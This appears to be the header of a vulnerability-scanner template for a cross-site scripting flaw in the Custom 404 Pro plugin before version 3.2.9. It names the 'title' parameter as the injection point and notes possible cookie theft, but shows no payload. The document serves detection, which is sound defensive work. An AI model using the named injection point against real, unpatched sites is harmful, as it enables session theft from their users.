  name: Custom 404 Pro < 3.2.8 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Custom 404 Pro before 3.2.9 is susceptible to cross-site scripting via the title parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
